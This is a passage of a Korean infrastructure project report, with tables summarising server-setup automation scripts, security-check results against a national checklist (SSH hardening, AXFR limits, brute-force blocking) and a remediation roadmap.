**표 5-16. 자동화 스크립트/함수(요약, 참고: 기획안 주정통 코드 부분)**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **NO** | **스크립트/함수** | **대상 서버/OS** | **주요 기능** | **입력 예시** | **출력/결과** |
| 1 | init\_ssh + menu | Ubuntu/Rocky9(Core) | DHCP/Apache/VHost/PHP/phpMyAdmin/FTP/MariaDB 설치 선택 | IP:172.16.16.1, [1-3] | 서비스 활성 + index.html |
| 2 | apa\_in(), apa\_ch\_dir\_in() | Rocky9(Web EN/KR) | Apache + VirtualHost(team1.com) + DocRoot 변경 | /home/team1 | httpd.conf 수정 + 재시작 |
| 3 | smb\_install(), go() | Rocky9(Storage) | Samba 설치/공유 + user 생성 | PW: (마스킹) | smbd/nmbd active |
| 4 | install\_and\_configure(), main() | Ubuntu(MB) | TigerVNC + GNOME + xstartup | PW: (마스킹), :5901 | vncserver@:1 active |
| 5 | nfs\_install(), main() | Rocky9(Storage) | NFS utils + 공유 + 마운트 | NFS IP:172.16.16.100 | exportfs -v 확인 |
| 6 | download(), main() | Rocky9(MB-Monitorix) | Monitorix 설치/재시작 | - | systemctl status monitorix |
| 7 | install\_gnome(), main() | Rocky9(MB) | XRDP + GNOME + user 생성 | user:team1, PW: (마스킹) | xrdp active(3389) |
| 8 | install(), mod\_zone() | Rocky9(DNS) | BIND + zone + 동적 A 레코드 편집 | dns\_data.txt | nslookup 성공 |
| 9 | format\_partition(), main() | Ubuntu(ST-R5/10) | Partition/FMT/ext4 + fstab + Disk Quota | /dev/sda1, /jupyter | repquota 제한 확인 |
| 10 | cc(cmd) | 모든 서버 | SSH 명령 실행 + 출력 파싱/오류 처리 | 임의 cmd | stdout/stderr 실시간 출력 |

**표 5-17. 주정통 기반 보안점검 결과(요약, 편집용)**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **점검 영역** | **점검 항목(기준)** | **점검 방법** | **대상** | **결과** | **조치/비고** |
| 접근통제 | root 원격 로그인 금지 | 수동/자동 | SSH 대상 서버 | (기입) | PermitRootLogin no |
| 접근통제 | SSH 패스워드 로그인 금지 | 수동/자동 | SSH 대상 서버 | (기입) | PasswordAuthentication no |
| 네트워크 | 관리망만 SSH 허용 | 수동 | SSH 대상 서버 | (기입) | UFW allow/deny 규칙 |
| 네트워크 | 브루트포스/스캔 차단 | 수동 | SSH 대상 서버 | (기입) | iptables recent 규칙 |
| DNS | AXFR 제한 | 수동 | DNS 서버 | (기입) | TCP 53 제한 + Secondary DNS 허용 |
| 웹 | 정찰 차단(내부 전용 시) | 선택 | 웹 서버 | (기입) | 80/443 접근대역 제한 |
| 애플리케이션 | SQLi 방어 | 수동 | 웹 서버 | (기입) | WAF/코드 보완 필요 |
| 관제 | 필수 로그 수집/제출 기준 | 운영 | 전 서버 | 완료 | 표준 제출 항목 정의 |
| - | (추가 기입) | (기입) | (기입) | (기입) | (기입) |

**표 5-18. 보완 필요 항목 및 개선 로드맵**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| **구분** | **항목** | **현황** | **개선 방향** | **우선순위** |
| 웹 | SQLi/Command Injection 근본 방어 | L3/L4 차단 한계 | WAF 도입 및 취약 기능 제거/패치 | 상 |
| 관제 | Snort 룰 튜닝 및 오탐 관리 | (기입) | 시나리오 룰 검증 및 상시 정책 반영 | 중 |
| 운영 | 로그 중앙수집/보관 | (기입) | Syslog/ELK 등 중앙 수집 및 보관 주기 정의 | 중 |
| 가용성 | DoS 완화 | 기본 SYN cookies 의존 | 레이트리밋/상위 장비 ACL/캐시 적용 | 중 |

**그림 5-9. 주정통 점검 결과 대시보드**

|  |
| --- |
| *[증빙자료 삽입 위치] ID: IMG-5-09 점검 결과를 DB 저장 및 웹 가시화한 화면(리스트/상세/필터/엑셀 출력 등) 캡처 삽입* |